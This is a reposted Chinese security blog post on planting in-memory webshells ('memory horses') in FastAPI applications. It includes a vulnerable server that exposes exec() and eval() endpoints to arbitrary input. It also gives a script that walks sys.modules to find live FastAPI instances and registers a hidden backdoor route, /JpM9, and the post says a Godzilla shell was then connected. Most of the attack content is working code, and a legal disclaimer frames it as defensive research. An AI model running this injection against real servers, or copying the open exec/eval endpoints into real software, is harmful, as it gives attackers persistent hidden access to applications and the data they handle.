【安全工具】Python内存马之FastApi内存马

admin 2026-01-04 02:16:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍FastApi内存马注入技术,核心在于遍历sys.modules获取FastAPI应用实例并动态添加恶意路由。文章提供漏洞环境代码与注入脚本,演示了利用代码执行漏洞植入后门及哥斯拉连接过程,为Python内存马防御提供实战参考。 综合评分: 85 文章分类: WEB安全,红队,渗透测试,漏洞POC,实战经验


cover_image

【安全工具】Python内存马之FastApi内存马

原创

whoami0002

SecurityPaper

2026年1月3日 17:18 江苏

FastApi内存马

前几天看了一下langflow的代码执行漏洞,于是就有了这篇基于FastApi内存马的文章

首先我们搭建一个FastApi环境

fromfastapiimportFastAPI, HTTPException
frompydanticimportBaseModel

app=FastAPI(
    title="FastAPI Code Executor",
    description="ASGI application with /exec and /eval endpoints"
)

classCodePayload(BaseModel):
    code: str

classExecResponse(BaseModel):
    status: str
    namespace: dict|None=None
    error: str|None=None
    type: str|None=None

classEvalResponse(BaseModel):
    status: str
    result: str|None=None
    error: str|None=None
    type: str|None=None

@app.post('/exec', response_model=ExecResponse)
asyncdefexecute_code(payload: CodePayload):
    """Execute code using exec()"""
    try:
        namespace= {}
        exec(payload.code, namespace)

        # Returnanyresultstoredinnamespace (excludingbuiltins)
        result= {k: str(v) fork, vinnamespace.items() ifnotk.startswith('__')}
        returnExecResponse(status='success', namespace=result)

    exceptExceptionase:
        raiseHTTPException(
            status_code=500,
            detail={'status': 'error', 'error': str(e), 'type': type(e).__name__}
        )

@app.post('/eval', response_model=EvalResponse)
asyncdefevaluate_code(payload: CodePayload):
    """Evaluate code using eval()"""
    try:
        result=eval(payload.code)
        returnEvalResponse(status='success', result=str(result))

    exceptExceptionase:
        raiseHTTPException(
            status_code=500,
            detail={'status': 'error', 'error': str(e), 'type': type(e).__name__}
        )

@app.get('/')
asyncdefindex():
    """Index route with API info"""
    return {
        'framework': 'FastAPI',
        'type': 'ASGI',
        'routes': {
            '/exec': 'POST - Execute code with exec()',
            '/eval': 'POST - Evaluate expression with eval()'
        },
        'payload_format': {'code': 'your_code_here'},
        'docs': '/docs'
    }

if__name__=='__main__':
    importuvicorn
    uvicorn.run(app, host='0.0.0.0', port=5003)

注入内存马最重要的就是获取上下文中的fastapi对象,如何获取呢

在python中所有已经被加载的模块都存入到了sys.modules这个字典中

例如遍历已加载的对象

这个时候我们可以通过遍历sys.modules来找到fastapi对象

在调试窗口中执行此代码,可以看见已经找到了fastapi对象

编写注入代码

importsys
fromfastapiimportFastAPI, Request, Response

found_apps= []

formoduleinsys.modules.values():
    ifmoduleisNone:
        continue
    try:
        module_dict=vars(module)
        forname, objinmodule_dict.items():
            ifisinstance(obj, FastAPI):
                app_info= (module.__name__, name, obj)
                found_apps.append(app_info)
                definject_shell(app: FastAPI):
                    @app.post('/JpM9')
                    @app.get('/JpM9')
                    asyncdefshell(request: Request):
                        try:
                            body=awaitrequest.body()
                            returnResponse(content=b"WEBSHELL: "+body,
                                            media_type="application/octet-stream")
                        exceptException:
                            returnResponse(content=b"Error", status_code=500)
                    print(f"[+] 成功注入后门路由 /JpM9 到 {app.titleor'Unknown App'} ({name})")
                inject_shell(obj)

    exceptExceptionase:
        pass

print("找到并注入的 FastAPI 实例:", found_apps)

成功注入

通过exec注入哥斯拉内存马

成功连接


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:SecurityPaper whoami0002《【安全工具】Python内存马之FastApi内存马》

评论:0   参与:  0